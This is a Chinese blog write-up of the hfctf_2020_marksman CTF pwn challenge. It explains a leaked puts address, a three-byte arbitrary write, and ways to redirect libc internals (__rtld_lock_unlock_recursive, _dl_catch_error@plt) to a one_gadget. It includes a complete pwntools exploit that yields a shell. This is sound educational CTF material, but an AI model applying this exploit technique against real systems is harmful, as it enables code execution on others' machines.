hfctf_2020_marksman
<!doctype html>2021-04-21-hfctf-2020-marksman
hfctf_2020_marksman
总结
根据本题,学习与收获有:
libc的got表一般是可写的,保护一般是Partial RELRO,即.got.plt是可写的。one_gadget工具默认只会给出很容易滿足条件的one_gadget,其实还有一些隐藏的one_gagdet可以通过-l/--level来显示出来exit函数的调用链为exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive,__rtld_lock_unlock_recursive是一个hook指针,可以劫持该函数指针写入one_gadget。一般来说,程序都会调用__libc_start_main,之后调用exit来退出。
题目分析
checksec

函数分析
本题只包含一个main函数,因此,分析起来也很简单。
main

函数的关键流程为:
- 打印出
puts函数的地址 - 读取
stdin输入,并转化为一个int64的整数 - 读取
stdin三个字符,存储到bullets数组中 - 修改指定内存地址的低
3个字节
这里有一个check_bullets,可以跟进去看一下:
check_bullets

不允许数组的前两个元素同时为0xc5和0xf2,或者0x22和0xf3,或者0x8c和0xa3。
这是为了干啥呢?使用one_gadget工具一看,为了避免这些gadget:

漏洞点
漏洞点很明显,有两处:
- 泄露出
puts地址,等于给了libc基地址 - 任意地址写低
3个字节
但是,也有一些掣肘,只有写3个字节,似乎还不能写one_gadget,那还能写啥呢。
利用思路
知识点
1、一番思考,我去看了看one_gadget的参数,看是不是有啥有关one_gadget我还不知道的参数和命令。

有一个--level参数,可以输出更多的one_gadget。我们来试一试:

可以看到,的确是多了很多one_gadget,但是这些多出来的one_gadget的constraints约束更多了,不仅仅像之前的只需要rsp + 0x40 == NULL这么简单。但是,至少有可用的one_gadget可以试一试。
2、后来解出题后,网上搜了一下wp,发现这位师傅的思路也值得借鉴。去寻找那些约束条件比较宽松的one_gadget上方附近有没有什么值得用的地址。有一个0x10a38c的one_gadget上方:

结合exit函数的调用链,劫持__rtld_lock_unlock_recursive指针,修改为0x10a387,可以绕过check,也能获取shell。但是我试了一下,这个劫持方式可能会失败,并不是百分百成功。
3、根据这位博主梳理的dlopen调用链,可以知道最后会调用____libc_dlopen_mode,最后会调用_dl_catch_error,因此,可以修改该_dl_catch_error@plt+6,更改为one_gadget
4、查看puts函数的调用链,可以看到,会调用strlen函数,因此,也可以修改strlen@got为oe_gadget。
利用过程
利用思路一:
- 泄露
puts函数地址,计算得到__rtld_lock_unlock_recursive(0x81df60)的偏移 - 修改
__rtld_lock_unlock_recursive低三个字节为0x10a387
利用思路二:
- 泄露
puts函数地址,计算得到_dl_catch_error@plt+6地址 - 修改
_dl_catch_error@plt+6(0x5f4038)地址为one_gadget(0xe569f)
EXP
调试过程
这里重点调试思路二,同时解释一下,为啥要跳到libc_base + 0x5f4038
-
首先,泄露出地址,并计算出
libc基地址,同时得到需要跳转的地址x1sh.recvuntil("I placed the target near: ")2msg = sh.recvline()34puts_addr = int16(msg[:-1].decode())5LOG_ADDR("puts_addr", puts_addr)6libc_base_addr = puts_addr - 0x809c07LOG_ADDR("libc_base_addr", libc_base_addr)89one_gadget1 = libc_base_addr + 0xe569f10_dl_catch_error_offset = 0x5f403811target_addr = libc_base_addr + _dl_catch_error_offset

-
然后,修改目标地址为
one_gadgetxxxxxxxxxx71sh.sendlineafter("shoot!shoot!\n", str(target_addr))2input_gadget = one_gadget13for _ in range(3):4sh.sendlineafter("biang!\n", chr(input_gadget & 0xff))5input_gadget = input_gadget >> 867sh.interactive()
-
获取
shell
接着来,解释一下,为啥是0x5f4038。需要设置断点在dlopen处:

然后输入si,步进,发现最终会调用_dl_catch_error:

会call 0x7f64e0d2ad90,所以继续跟进,看看0x7f64e0d2ad90是在做什么:

会跳转到rip+0x2022a2处指向的地址,我们继续步进:

发现这个地址就是0x7f64e0f2d038,所以看下这个地址是哪里,在干什么:

这正是我们上面改的地址,存储着_dl_catch_error@plt+6,所以最终需要更改的偏移为0x5f4038:

完整exp
xxxxxxxxxx
from pwn import *
import functools
LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)
sh = process("./hfctf_2020_marksman")
sh.recvuntil("I placed the target near: ")
msg = sh.recvline()
puts_addr = int16(msg[:-1].decode())
LOG_ADDR("puts_addr", puts_addr)
libc_base_addr = puts_addr - 0x809c0
LOG_ADDR("libc_base_addr", libc_base_addr)
one_gadget1 = libc_base_addr + 0x10a387
__rtld_lock_unlock_recursive_offset = 0x81df60
target_addr = libc_base_addr + __rtld_lock_unlock_recursive_offset
# one_gadget1 = libc_base_addr + 0xe569f
# _dl_catch_error_offset = 0x5f4038
# target_addr = libc_base_addr + _dl_catch_error_offset
sh.sendlineafter("shoot!shoot!\n", str(target_addr))
input_gadget = one_gadget1
for _ in range(3):
sh.sendlineafter("biang!\n", chr(input_gadget & 0xff))
input_gadget = input_gadget >> 8
sh.interactive()
最后远程攻击效果如下:

引用与参考
1、My Blog
2、exit 利用
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/14687617.html

浙公网安备 33010602011771号